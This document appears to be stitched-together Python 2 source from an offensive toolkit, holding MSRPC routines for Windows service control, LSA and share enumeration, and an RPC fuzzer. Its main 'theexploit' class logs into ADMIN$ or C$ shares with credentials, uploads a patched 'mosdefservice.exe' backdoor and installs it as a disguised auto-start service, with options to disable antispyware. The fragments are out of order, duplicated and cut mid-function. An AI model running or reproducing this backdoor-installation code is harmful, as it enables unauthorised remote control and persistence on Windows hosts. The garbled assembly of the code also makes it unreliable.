def EnumServicesStatusEx(self,size=0x2c): ''' /* opcode: 0x2A, address: 0x010145D5 */ long _REnumServicesStatusExW ( [in][context_handle] void * arg_1, [in] /* enum32 */ long arg_2, [in] long arg_3, [in] long arg_4, [out][size_is(arg_6)] char * arg_5, [in][range(0,262144)] long arg_6, [out] long * arg_7, [out] long * arg_8, [in, out][unique] long * arg_9, [in][unique][string] wchar_t * arg_10 ); ''' data='' data+=self.SChandle #hSCManager data+=struct.pack('<L',0) #SC_ENUM_PROCESS_INFO data+=struct.pack('<L',0x30) #SERVICE_WIN32 data+=struct.pack('<L',3) #SERVICE_STATE_ALL data+=struct.pack('<L',size) data+=struct.pack('<L',1) #[unique] data+=struct.pack('<LL',0,0) try: ret=get_all_stubs(self.myDCE.call(0x2a,data,response=1)) #_REnumServicesStatusExW except Exception, msg: self.log('Could not call MSRPC Function: %s'%(msg)) return False
def DeleteService(self,handle): """ Calls DeleteService remotely on a host - but of course, requires that self.myDCE is already set up... """ pkt=self.DeleteServicePkt(handle) self.log("DeleteService sending %d bytes"%len(pkt)) ret=self.myDCE.call(2, pkt, response=1) ret=self.parseStartServicePkt(msrpc.get_all_stubs(ret)) return ret
def CloseServiceHandle(self,handle): """ Calls CloseServiceHandle remotely on a host - but of course, requires that self.myDCE is already set up... """ pkt=self.CloseServiceHandlePkt(handle) self.log("CloseServiceHandle sending %d bytes"%len(pkt)) ret = self.myDCE.call(0, pkt, response=1) #get result #parse result ret=self.parseCloseServiceHandlePkt(msrpc.get_all_stubs(ret)) return ret
def StopService(self,handle): """ Calls ConrolService with SERVICE_CONTROL_STOP remotely on a host - but of course, requires that self.myDCE is already set up... """ pkt=self.ControlServicePkt(handle,1) # SERVICE_CONTROL_STOP=0x00000001 self.log("StopService sending %d bytes"%len(pkt)) ret = self.myDCE.call(1, pkt, response=1) #get result #parse result ret=self.parseStartServicePkt(msrpc.get_all_stubs(ret)) return ret
def StartService(self,handle): """ Calls OpenServiceW remotely on a host - but of course, requires that self.myDCE is already set up... """ pkt=self.StartServicePkt(handle) self.log("StartService sending %d bytes"%len(pkt)) ret = self.myDCE.call(19, pkt, response=1) #get result #parse result ret=self.parseStartServicePkt(msrpc.get_all_stubs(ret)) return ret
def get_pp_size(self): """ This is called first, and we get the size of the data block we need to send and set it in self.datasize """ self.log("Getting the size needed for our printer buffer") pkt=self.createEnumPkt(0) ret=0 try: ret=msrpc.get_all_stubs(self.myDCE.call(0, pkt, response=1)) except Exception, msg: self.log("Could not call MSRPC Function: %s" % msg)
def OpenService(self,scm,servicename,access): """ Calls OpenServiceW remotely on a host - but of course, requires that self.myDCE is already set up... """ pkt=self.OpenServiceWPkt(scm,servicename,access) self.log("OpenServiceW sending %d bytes"%len(pkt)) #send to function_10 ret = self.myDCE.call(0x10, pkt, response=1) #get result #parse result ret,handler=self.parseOpenServicePkt(msrpc.get_all_stubs(ret)) return ret,handler
def CreateService(self,scm,servicename,displayname,desiredaccess,atype,starttype,errorcontrol,binarypath,loadorder,dependancies,servicesstartname,password): """ host is the host to connect to scm is the string for our scm pointer """ #the SCM value is specific to a connection...so you can't reconnect here pkt=self.createCreateServicePkt(scm,servicename,displayname,desiredaccess,atype,starttype,errorcontrol,binarypath,loadorder,dependancies,servicesstartname,password) self.log("CreateService sending %d bytes"%len(pkt)) #send to function_0b ret = self.myDCE.call(12, pkt, response=1) #get result #parse result error=self.parseCreateServicePkt(msrpc.get_all_stubs(ret)) return error
def LsaOpenPolicy(self, access_mask=None): """ Open the policy on the remote system and return True if success """ if access_mask == None: access_mask = 0x20801 data = "" data += intel_order(0) * 7 data += intel_order(access_mask) try: ret = msrpc.get_all_stubs(self.myDCE.call(6, data, response=1)) except Exception, msg: self.log("Could not call MSRPC Function: %s" % msg) return False
def getLoggedInUsers(self, osstr): """ Get the logged in users instead of all the users using wksvc """ userlist = [] if "Windows" in osstr: self.log("Windows found, using wksvc to enumerate users") #connect to named pipe #bind to RPC server # when you have to add a custom port: "ncacn_ip_tcp:%s[1060]"% (self.target.interface) connectionList = [ "ncacn_np:%s[\\browser]" % (self.target.interface) ] if self.customport: connectionList = [ "ncacn_ip_tcp:%s[%d]" % (self.target.interface, self.customport) ] + connectionList self.myDCE = msrpc.DCE("6bffd098-a112-3610-9833-46c3f87e345a", "1.0", connectionList, covertness=self.covertness, getsock=self) self.myDCE.setUsername(self.user) self.myDCE.setPassword(self.password) self.log("Setting username and password to %s:%s" % (self.user, self.password)) try: map = self.myDCE.connect() if not map: self.raiseError( "Could not connect to remote server - service is not running or the host is firewalled." ) except Exception, msg: self.log(msg) return 0 pkt = self.createEnumPkt() #send to function_02 ret = 0 try: ret = msrpc.get_all_stubs(self.myDCE.call(2, pkt, response=1)) except Exception, msg: self.log("Could not call MSRPC Function: %s" % msg)
def OpenSCManager(self): ''' /* opcode: 0x0F, address: 0x01002A50 */ long _ROpenSCManagerW ( [in][unique][string] wchar_t * arg_1, [in][unique][string] wchar_t * arg_2, [in] long arg_3, [out][context_handle] void ** arg_4 ); ''' data='' data+=struct.pack('<LL',0,0) data+=struct.pack('<L',4) #SC_MANAGER_ENUMERATE_SERVICE try: ret=get_all_stubs(self.myDCE.call(0xf,data,response=1)) #_ROpenSCManagerW except Exception, msg: self.log('Could not call MSRPC Function: %s'%(msg)) return False
def LsaQueryInformationPolicy(self): """ Gets the domain SID, which we need to create account SID's """ data = "" #[in] policy_handle *policy; data += self.policy #[in] uint16 level; data += intel_order(5) #PolicyAccountDomainInformation """ typedef struct _POLICY_ACCOUNT_DOMAIN_INFO { LSA_UNICODE_STRING DomainName; PSID * DomainSid; } """ try: ret = msrpc.get_all_stubs(self.myDCE.call(7, data, response=1)) except Exception, msg: self.log("Could not call MSRPC Function: %s" % msg) return False
def LsaLookupSid(self, rid): """ NTSTATUS lsa_LookupSids ( [in] policy_handle *handle, [in] lsa_SidArray *sids, [out,unique] lsa_RefDomainList *domains, [in,out] lsa_TransNameArray *names, [in] uint16 level, [in,out] uint32 *count ); """ data = "" data += self.policy #array of LSA data data += intel_order(1) data += intel_order(0x31424322) #pointer data += intel_order(1) #max count data += intel_order(0x31424344) #pointer 2 data += intel_order(len(self.domain_sid.sub_authorities) + 1) #count (Number of authorities) #ndrConformantStructureUnmarshall data += self.domain_sid.tostr(rid) #names data += intel_order(0) #names data += intel_order(0) #more names (referent id) #data+=intel_order(0) #only if refid !=0 data += intel_order(1) #level (16 bits) data += intel_order(0) #num mapped #if lookupsids2: data += intel_order(0) #num mapped data += intel_order(2) #num mapped userlist = [] try: #calling LookupSids2 == 57 #calling LookupSids == 0xf ret = msrpc.get_all_stubs(self.myDCE.call(57, data, response=1)) except Exception, msg: self.log("Could not call MSRPC Function: %s" % msg) return False
def StartService(self,handle): """ Calls OpenServiceW remotely on a host - but of course, requires that self.myDCE is already set up... returns 0 if we timeout and can't tell that it worked """ pkt = self.StartServicePkt(handle) self.log("StartService sending %d bytes"%len(pkt)) try: ret = msrpc.get_all_stubs(self.myDCE.call(19, pkt, response=1)) except: self.log("Timed out while starting the service...this is common") ret = "" if ret: ret = self.parseStartServicePkt(ret) else: ret = 0 return ret
class theexploit(tcpexploit): def __init__(self): tcpexploit.__init__(self) self.version = 0 self.host = "" self.port = 5555 self.name = NAME self.destdir = {} self.destdir["win32"] = "%SYSTEMROOT%" self.sourceDict = {} self.sourceDict["win32"] = "backdoors/mosdefservice.exe" self.binaryName = "mosdefservice.exe" self.serviceName = "helloservice" self.displayName = "Hello Service" self.killantispyware = 0 self.ignoreantispyware = 0 self.msrpcuser = "******" self.msrpcpassword = "******" self.domain = "" return def test(self): self.host = self.target.interface self.port = int(self.argsDict.get("port",self.port)) s = self.connectTo(self.host,self.port) if s: self.log("Something is already listening on that port!") return 0 return 1 def getargs(self): self.host = self.target.interface self.port = int(self.argsDict.get("port", self.port)) self.displayName = self.argsDict.get("displayName",self.displayName) self.serviceName = self.argsDict.get("serviceName",self.serviceName) self.binaryName = self.argsDict.get("binaryName",self.binaryName) self.ignoreantispyware = self.argsDict.get("ignoreantispyware",self.ignoreantispyware) self.killantispyware = self.argsDict.get("killantispyware",self.killantispyware) self.password = self.argsDict.get("password", self.password) self.msrpcuser = self.argsDict.get("msrpcuser", self.msrpcuser) self.msrpcpassword = self.argsDict.get("msrpcpassword", self.msrpcpassword) self.domain = self.argsDict.get("domain",self.domain) return def run(self): self.getargs() if self.serviceName.count(" "): self.log("Service Name can't have spaces!") return 0 self.password = self.password[:32] #32 bytes long always self.password = stroverwrite("\x00"*32,self.password,0) #pad to 32 bytes of zeros self.log("Using password: %s" % prettyprint(self.password)) node = self.argsDict["passednodes"][0] s = self.gettcpsock() try: ret = s.connect((self.host,self.port)) except: # timed out, or socket.error ret = -1 # hmm, win32 is going to bite us here. We really want to differentiate # a TIMEOUT exception from a connection refused exception... self.log("Socket connect on node %s returned: %s"%(node.getname(), ret)) if ret != -1: self.log("Node %s has port %d already in use"%(node.getname(), self.port)) return 0 nodeos = "win32" self.log("Using Windows MOSDEF Service") self.log("Trying to log into ADMIN$/C/D file share") vfs = None for sharename in ["ADMIN$","C$","D$"]: vfs = self.exploitnodes("smbclient",[node],{"password":self.msrpcpassword,"user":self.msrpcuser, "filename": sharename, "domain": self.domain}) if len(vfs): if len(vfs[0]): vfs = vfs[0][0] else: self.log("Failed to get into that file share...") vfs = None continue self.log("VFS=%s"%vfs) if vfs: self.log("We managed to get into a share on %s!"%self.host) self.log("Sharename: %s Username: %s Password: %s"%(sharename,self.msrpcuser,self.msrpcpassword)) break if not vfs: self.log("Failed: Could not get into a share to upload our file!") return 0 # now we need to transform our input file such that it uses the new port sourcefile = self.sourceDict[nodeos] data = file(sourcefile,"rb").read() # replace push 5555 with push self.port self.log("Using port %d for MOSDEFService"%self.port) data = data.replace(mosdef.assemble("push $5555", "X86"), mosdef.assemble("push $%d"%self.port, "X86")) oldpassword = "******"*16 + "B"*16 data = data.replace(oldpassword, self.password) modified_sourcefile = sourcefile+".port_%d"%self.port outfd = file(modified_sourcefile,"wb+") outfd.write(data) outfd.close() # now we've written to modified_sourcefile, so we need to use that as our upload src upload = self.engine.getModuleExploit("upload") self.log("Uploading with VFS: %s" % vfs) upload.link(self, nodes=[vfs]) upload.argsDict["source"] = modified_sourcefile upload.argsDict["destfilename"] = self.binaryName self.log("Uploading file %s to %s"%(modified_sourcefile,self.binaryName)) ret = upload.run() self.log("upload.result: %s"%ret) if not ret: self.log("Could not upload file!") return 0 self.log("We were able to upload the file and now we must create a new service that points to it") ret = self.OpenSCManager(self.host,access=SC_MANAGER_CREATE_SERVICE) if not ret: self.log("Was unable to open SCManager") return 0 scm = ret servicename = self.serviceName displayname = self.displayName desiredaccess = SERVICE_ALL_ACCESS atype = SERVICE_WIN32_OWN_PROCESS errorcontrol = SERVICE_ERROR_IGNORE binarypath = self.binaryName #SERVICE_BOOT_START will cause an invalid parameter error, dunno why starttype = SERVICE_AUTO_START if sharename == "ADMIN$": binarypath = "%SYSTEMROOT%\\"+binarypath else: binarypath = sharename[0]+"\\"+binarypath loadorder = 0 dependancies = None servicesstartname = self.serviceName password = None self.log("ServiceName=%s DisplayName=%s BinaryPath=%s"%(self.serviceName,displayname,binarypath)) ret = self.CreateService(scm,servicename,displayname,desiredaccess,atype,starttype,errorcontrol,binarypath,loadorder,dependancies,servicesstartname,password) if ret not in [0,0x431]: #service created/service already existed self.log("Was unable to call CreateService") return 0 self.log("Called create service successfully: %x"%ret) #locally I don't believe we need to open the service, since #we already have a handle to it... #but remotely I'm not sure - so we'll call OpenService ret,handler = self.OpenService(scm,servicename,SERVICE_ALL_ACCESS) if ret not in [0]: self.log("Was unable to call OpenService!") return 0 # so let's just start it up! # self.log("Handler=%s"%prettyhexprint(handler)) ret = self.StartService(handler) self.log("StartService returned %x " % ret) if ret == 0: self.log("Successfully installed and started the MOSDEF service.") else: self.log("There was an error starting the MOSDEF service.") self.log("Error 5 is 'access denied' but typically means that for some reason the file did not run properly. For example, it may be truncated or corrupted!") ret = self.CloseServiceHandle(handler) ret = self.CloseServiceHandle(scm) return 1 ################## ### MSRPC Routines ################## from win32MosdefShellServer import GENERIC_READ def createOpenSCMPkt(self, machinename=None, databasename=None, accessmask=GENERIC_READ): marshaller = dcemarshaller() data = "" data += wchar_t(machinename,["unique"],marshaller).marshall() data += wchar_t(databasename,["unique"],marshaller).marshall() data += dceint(accessmask,[],marshaller).marshall() return data def parseOpenSCMPkt(self, buf): """ parses the buffer sent back to use by the msrpc server """ # 4 bytes of pointer data (null? wth?) # then 16 bytes of policy handle data policyhandle = buf[0:20] returnvalue = istr2int(buf[20:24]) # returns 0 on success if returnvalue != 0: success = 0 self.log("parseOpenSCMPkt return value not 0!: %x" % returnvalue) if returnvalue == 0x6e5: self.log("Could not impersonate user for some reason") else: success = 1 return success,policyhandle def OpenSCManager(self, host, access=0): """ opens a remote Service Control Manager Returns 0 on failure On Windows 2000 this will connect to services.exe, which will then call OpenSCManager for you. Actually it doesn't call the routine itself. It appears to call some other routine internally that does the real work. So you can't breakpoint on OpenSCManager or CreateServiceW (sorry) If you breakpoint on OpenSCManager, and you aren't seeing it get called, then that's normal. Try breakpointing on RPCImpersonateClient and seeing what is going on there. """ self.log("Using msrpcuser: %s msrpcpassword: %s"%(self.msrpcuser,self.msrpcpassword)) connectionList = ["ncacn_np:%s[\\svcctl]"% (host)] self.myDCE = msrpc.DCE("367abb81-9844-35f1-ad32-98f038001003", "2.0", connectionList, covertness = self.covertness, getsock=self) self.myDCE.setUsername(self.msrpcuser) self.myDCE.setPassword(self.msrpcpassword) self.myDCE.setDomain(self.domain) try: map = self.myDCE.connect() if not map: self.raiseError("Could not connect to remote server - service is not running or the host is firewalled.") except Exception, msg: self.log(msg) return 0 self.log("Successfully connected to service control manager pipe") pkt = self.createOpenSCMPkt(accessmask=access) self.log("OpenSCManager sending %d bytes"%len(pkt)) # send to function_09 ret = msrpc.get_all_stubs(self.myDCE.call(15, pkt, response=1)) # get result, parse result success,policy_handle = self.parseOpenSCMPkt(ret) if not success: return "" return policy_handle
class theexploit(canvasexploit): def __init__(self): canvasexploit.__init__(self) self.result = "" self.name = NAME self.systemname = "\\\\127.0.0.1" return def createShareEnumPkt(self): """Creates the MSRPC packet for share enumeration""" funcidl = """ long Function_0f( [in] [unique] [string] wchar_t * element_122, [in,out] TYPE_16 * element_123, [in] long element_126, /*prefered length?*/ [out] long * element_127, /*records returned?*/ [in,out] [unique] long * element_128 /*enum handle*/ ); """ tidl = """ typedef struct { [unique] [string] wchar_t *share_name; long share_type; [unique] [string] wchar_t *comment; /* long element_17; incorrect?!?*/ } TYPE_6; typedef struct { long element_18; [size_is(element_18)] [unique] TYPE_6 element_13; /*must be null pointer on call*/ } TYPE_5; typedef [switch_type(long)] union { /* [case(0)] [unique] TYPE_3 *element_5; */ [case(1)] [unique] TYPE_5 *element_10; } TYPE_2; typedef struct { long element_124; [switch_is(element_124)] TYPE_2 element_125; } TYPE_16; """ data = "" marshaller = dcemarshaller() self.marshaller = marshaller marshaller.define(tidl) e122 = dcepointer( wchar_t(msunistring("\\\\" + self.target.interface), ["[unique]"], marshaller), ["unique"], marshaller) e123 = marshaller.getinstance("TYPE_16") e123.setmember("element_124", dceint(1, [], marshaller)) e125 = marshaller.getinstance("TYPE_2") e125.switchval = 1 e123.setmember("element_125", e125) e10 = marshaller.getinstance("TYPE_5") e125.setmember("element_10", e10) e13 = dcepointer(None, [], marshaller) e10.setmember("element_18", dceint((0), [], marshaller)) e10.setmember("element_13", e13) e126 = dceint(-1, [], marshaller) e128 = dcepointer(dceint((0), [], marshaller), ["unique"], marshaller) data += e122.marshall() data += e123.marshall() data += e126.marshall() data += e128.marshall() self.log("Sending data of length %d" % len(data)) #print "data:\n%s"%prettyhexprint(data) return data def parseEnumPkt(self, buf): self.log("parseEnumPkt: Buf length: %d" % len(buf)) #self.log("parseEnumPkt: \n%s"%prettyhexprint(buf)) #TYPE_16 #int records returned #enum handler marshaller = self.marshaller info_level = dceint(amarshall=marshaller) buf = info_level.demarshall(buf) self.log("Info_levelA=%x" % info_level.value) buf = info_level.demarshall(buf) #union switch selector self.log("Info_levelB=%x" % info_level.value) num_elements = dceint(amarshall=marshaller) i, buf = getint(buf) #get reference pointer and ignore it buf = num_elements.demarshall(buf) self.log("Number of elements sent to us: %d" % num_elements.value) i, buf = getint(buf) #get reference pointer and ignore it i, buf = getint(buf) #get size of array and ignore it #print "pointers?: %s"%prettyhexprint(buf[:4*num_elements.value] ) #buf=buf[4*num_elements.value:] #ignore num pointers... #self.log("what's left: parseEnumPkt: \n%s"%prettyhexprint(buf)) davecomment = """ This is a complex array...meaning pointers are stored and then the data they reference is parsed at the end of the array. So it looks like this: structures: [<reference> <int> <reference> ] * Num_ent and then a big block of strings (2*num ent, of course) """ buf2 = buf[3 * 4 * num_elements.value:] #reference only the strings #self.log("BUF2: parseEnumPkt: \n%s"%prettyhexprint(buf)) shares = [] for e in range(0, num_elements.value): newshare = share() i, buf = getint(buf) #pointer to share name share.sharetype, buf = getint(buf) i, buf = getint(buf) #pointer to share comment newshare.sharename, buf2 = getdcewchar(buf2) newshare.comment, buf2 = getdcewchar(buf2) #self.log("Found share: %s"%str(newshare)) shares += [newshare] #t16=self.marshaller.getinstance("TYPE_16") #buf=t16.demarshall(buf) return shares def getargs(self): #need to revise to use get_knowledge/set_knowledge systemname = self.argsDict.get("systemname", self.systemname) self.host = self.target.interface self.user = self.argsDict.get("user", self.user) self.password = self.argsDict.get("password", self.password) return def get_shares(self, user, password): """ Makes the connection to the remote server and gets the shares. This is called twice, once with the typical thing and once with bob:None, since XP does a weird thing with users and password. """ connectionList = ["ncacn_np:%s[\\browser]" % (self.target.interface)] self.myDCE = msrpc.DCE("4b324fc8-1670-01d3-1278-5a47bf6ee188", "3.0", connectionList, covertness=self.covertness, getsock=self) devlog('shareenum::run', "myDCE: %s" % self.myDCE) self.myDCE.setUsername(user) self.myDCE.setPassword(password) try: devlog('shareenum::run', "myDCE.connect: %s" % self.myDCE.connect) map = self.myDCE.connect() devlog('shareenum::run', "map: %s" % map) if not map: self.raiseError( "Could not connect to remote server - service is not running or the host is firewalled." ) except Exception, msg: devlog( 'shareenum::run', "Could not connect to remote server (%s): %s" % (Exception, msg)) self.log(msg) return 0 pkt = self.createShareEnumPkt() #send to function_02 ret = msrpc.get_all_stubs(self.myDCE.call(15, pkt, response=1)) #get result #parse result sharelist = self.parseEnumPkt(ret) return sharelist
class svcctlexploit: """ Used for exploits talking to svcctl (service control manager, etc) """ def __init__(self): pass ################## ### MSRPC Routines ################## def createOpenSCMPkt(self,machinename=None,databasename=None,accessmask=GENERIC_READ): marshaller=dcemarshaller() data="" data+=wchar_t(machinename,["unique"],marshaller).marshall() data+=wchar_t(databasename,["unique"],marshaller).marshall() data+=dceint(accessmask,[],marshaller).marshall() return data def parseOpenSCMPkt(self,buf): """ parses the buffer sent back to use by the msrpc server """ #4 bytes of pointer data (null? wth?) #then 16 bytes of policy handle data policyhandle=buf[0:20] returnvalue=istr2int(buf[20:24]) #returns 0 on success if returnvalue!=0: success=0 self.log("parseOpenSCMPkt return value not 0!: %x"%returnvalue) if returnvalue==0x6e5: self.log("Could not impersonate user for some reason") else: success=1 return success,policyhandle def OpenSCManager(self,host,access=0): """ opens a remote Service Control Manager Returns 0 on failure On Windows 2000 this will connect to services.exe, which will then call OpenSCManager for you. Actually it doesn't call the routine itself. It appears to call some other routine internally that does the real work. So you can't breakpoint on OpenSCManager or CreateServiceW (sorry) If you breakpoint on OpenSCManager, and you aren't seeing it get called, then that's normal. Try breakpointing on RPCImpersonateClient and seeing what is going on there. """ self.log("Using msrpcuser: %s msrpcpassword: %s"%(self.msrpcuser,self.msrpcpassword)) connectionList = ["ncacn_np:%s[\\svcctl]"% (host)] self.myDCE = msrpc.DCE("367abb81-9844-35f1-ad32-98f038001003", "2.0", connectionList, covertness = self.covertness, getsock=self) self.myDCE.setUsername(self.msrpcuser) self.myDCE.setPassword(self.msrpcpassword) self.myDCE.setDomain(self.domain) try: map=self.myDCE.connect() if not map: self.raiseError("Could not connect to remote server - service is not running or the host is firewalled.") except Exception, msg: self.log(msg) return 0 self.log("Successfully connected to service control manager pipe") pkt=self.createOpenSCMPkt(accessmask=access) self.log("OpenSCManager sending %d bytes"%len(pkt)) #send to function_09 ret = self.myDCE.call(15, pkt, response=1) #get result #parse result success,policy_handle=self.parseOpenSCMPkt(msrpc.get_all_stubs(ret)) if not success: return "" return policy_handle
def run_on_idl(self): """ Set self.idl and then call this from run() """ rpc = None send = True opnum = None #None is default context_handle = None #None is default DEBUG = False idl = self.idl host = self.host skip_to_ifid = "" #"" is default start_fuzznum = None #None is default #set the NDR fuzzer object ndr.g_fuzz_object = self #default strings for self.default_string in self.default_strings: self.log("Set default string to %s" % repr(self.default_string)) #default integers for self.default_int in self.default_ints: self.log("Set default integer to 0x%2.2x" % self.default_int) for uuid in idl: self.UUID = uuid.ifid if skip_to_ifid and not self.UUID == skip_to_ifid: continue if skip_to_ifid: skip_to_ifid = "" self.version = uuid.version self.buildConnectionList() self.log("Connectionlist=%s" % self.connectionList) self.log("Connecting as %s:%s" % (self.user, self.password)) self.done_with_ifid = False #we'll set below variable when we find out that we both need #a context handle, and know how to get one (using try_to_get_context_handle()) self.get_context_handle_opcode = None # We loop through all the opcodes for each uuid the parser gave us for opcode in uuid.opcodes: self.log( "Opcode: %s. Default int: %s Default String: %s" % (str(opcode.opnum), self.default_int, repr(self.default_string))) self.did_connect = False if self.done_with_ifid == True: break #skip some opnums if needed if opnum != None: if opcode.opnum != opnum: continue opnum = None #reset since we've skipped to it if len(opcode.elements) == 0: self.log("Not doing opcode %d, no elements" % opcode.opnum) continue self.opcode = opcode self.done_with_opcode = False #fuzznum is which variable to fuzz if start_fuzznum != None: fuzznum = start_fuzznum start_fuzznum = None else: fuzznum = 0 self.max_fuzznum = False self.next_fuzz_element = None #set to 0 to initialize search, set to a number for the next fuzz number while not self.max_fuzznum: self.log("Doing fuzznum: %d" % fuzznum) #here we skip to the next element we're fuzzing if we found one! if self.next_fuzz_element: self.log( "[*] Skipping to next fuzz element: %d" % self.next_fuzz_element) fuzznum = self.next_fuzz_element self.next_fuzz_element = None #this will be true if we did not find anything to fuzz in this opcode! if self.next_fuzz_element == 0: self.log( "[*] Nothing left to fuzz on this opcode!") self.done_with_opcode = True self.fuzznum = fuzznum fuzznum += 1 self.done_with_element = False self.total_elements = 0 if self.done_with_opcode: break #reset our fuzzer self.reset_fuzzer() while not self.done_with_element: self.log("Doing element fuzz") #first we connect mydce = msrpc.DCE(uuid.ifid, uuid.version, self.connectionList) mydce.setUsername(self.user) mydce.setPassword(self.password) self.log("[*] Connecting to ifid: %s" % uuid.ifid) try: mydce.connect() except msrpc.DCEException, msg: self.log( "[*] Couldn't connect to ifid %s!" % uuid.ifid) self.done_with_opcode = True self.done_with_element = True self.done_with_ifid = True if self.did_connect: self.log( "[*] Killed service! %s with opcode %s" % (uuid.ifid, opcode.opnum)) time.sleep(50) break self.did_connect = True self.log("[*] Connected") self.log(" opcode: %x elements: [%02d]" % (opcode.opnum, len(opcode.elements))) testpack = "" request = "" if self.get_context_handle_opcode: self.log("Getting context handle") default_int, default_string, context_opcode = self.get_context_handle_opcode context_handle = self.get_context_handle( default_string, default_int, context_opcode, uuid) self.log("Setting context handle to %s" % repr(context_handle)) opcode.set_context_handle(context_handle) mydce = self.mydce #reset this to the same connection we had before when we were getting a context handle #set our flag so we know it's there. #if we for whatever reason don't have any string elements to fuzz #then this will get us out of the loop self.ran_get_fuzz_data = False self.current_element = 0 self.second_serialize = False # Again I have to pass twice because of union dependencies for element in opcode.elements: if DEBUG: dump_ndr(element) try: #self.log("DEBUG: element.serialize called on %s"%str(element)) testpack += element.serialize() except: self.log( "[*] Serialization bug! Look into this later" ) self.done_with_opcode = True self.done_with_element = True break #self.log("DEBUG: Done with pass 1") if self.done_with_element: self.log("Done with this element...") continue #reset current_element? # This is all you do to serialize the data for the wire #self.log("Serializing a second time") self.second_serialize = True self.current_element = 0 request += opcode.serialize() #self.log("Done with pass 2") if len(request) != len(testpack): self.log( "[*] Length of testpack %d length of request %d" % (len(testpack), len(request))) #self.log("Done serializing" if not self.ran_get_fuzz_data: #nothing to fuzz! self.log( "[*] Nothing to fuzz on this opcode!") self.done_with_element = True self.done_with_opcode = True self.log("[*] Sending %s [opcode: %d]" % (uuid.ifid, opcode.opnum)) self.log("[*] Length of Fuzz Request [%s]" % len(request)) #self.log("[*] Request: %s"%print_hex(request)) try: ret = mydce.call(opcode.opnum, request, response=1) self.log("[*] Sent - got ret") except msrpc.DCEException, msg: self.log("[*] Sent - got exception") if str(msg).count("1c00001a"): self.log("[*] Need a context handle!") #this is a tricky thing #we essentially need to go into the uuid and find #the routine we can use to get the context handle #of course, this may require calling it with some sort #of valid argument, which we can't do #but we'll try if self.get_context_handle_opcode == False: self.log( "[*] Need context handle, but can't get one" ) self.done_with_element = True self.done_with_opcode = True elif self.get_context_handle_opcode != None: #in this case, we already had a context handle, #so we're failing even WITH a context handle, so we bail self.log( "[*] Failing even with context handle - bail" ) self.done_with_element = True self.done_with_opcode = True else: if self.do_context_handle_grab: self.log( "[*] Trying to get context handle function" ) #we didn't have a context handle. So let's try to figure out how to get one if not self.try_to_get_context_handle( uuid): self.log( "[*] We tried, but failed to get a valid context handle!" ) #set this so we don't try again self.get_context_handle_opcode = False self.done_with_element = True self.done_with_opcode = True continue elif str(msg).count("6f7"): self.log("[*] Bad marshaller?") #not sure if I want this next line... self.done_with_element = True continue elif str(msg).count("received 5"): self.log("[*] Bad authentication") self.done_with_element = True self.done_with_opcode = True continue elif str(msg).count("Broken pipe"): self.log("[*] Broken pipe") continue elif str(msg).count( "unpack requires a string argument of length" ): self.log("[*] SMB error: %s" % msg) #essentially we are a size_is and we're sending huge amounts of data...no need to continue this. self.done_with_element = True continue elif str(msg).count( "A failed packet received 1c00001b" ): self.log( "[*] Found memory leak vulnerability!" ) self.done_with_element = True elif str(msg).count("1c010003"): self.log( "[*] No such interface, sorry") self.done_with_ifid = True self.done_with_element = True self.done_with_opcode = True continue elif str(msg).count("1c010002") or str( msg).count("c002002e"): self.log( "[*] opcode is > than implemented opcodes!" ) self.done_with_ifid = True self.done_with_element = True self.done_with_opcode = True continue elif str(msg).count("1c000006"): self.log("[*] nca_s_fault_invalid_tag") #who knows? continue elif str(msg).count("1c000007"): self.log("[*] Invalid bound error") self.done_with_element = True continue elif str(msg).count("1c000017"): self.log("[*] Pipe Discipline fault") continue elif str(msg).count("timeout"): self.log( "[*] Timeout on RECV - sitting in exception in debugger?" ) continue elif str(msg).count( "Connection reset by peer"): self.log( "[*] Connection reset by peer - very strange. Did someone kill the process?" ) continue else: self.log("msg: %s" % msg) raise recvbuffer = None if ret: recvbuffer = msrpc.get_all_stubs(ret) else: self.log("[*] No response received?") if recvbuffer: self.log("[*] Received [%s]" % print_hex(recvbuffer))
return ret self.log("[*] Connected") self.log("[*] Sending %s [opcode: %d]" % (uuid.ifid, opcode.opnum)) self.log("[*] Length of request [%s]" % len(request)) #self.log("[*] Request: %s"%print_hex(request)) try: ret = mydce.call(opcode.opnum, request, response=1) self.log("[*] Sent - got ret") except msrpc.DCEException, msg: self.log("[*] DCE Exception: %s" % str(msg)) return "" #otherwise, we got a response! recvbuffer = None if ret: recvbuffer = msrpc.get_all_stubs(ret) else: self.log("[*] No response received?") if recvbuffer: self.log("[*] Received [%s]" % print_hex(recvbuffer)) if len(recvbuffer) < 4: self.log("[*] Did not get enough data?!?") return "" rpcerror = struct.unpack("<L", recvbuffer[:4])[0] if rpcerror != 0: #RPC SUCCESS self.log( "[*] Not successful at getting context handle with %s:%d" % (default_string, default_int)) return "" if len(recvbuffer) >= 24: context_handle = recvbuffer[:20]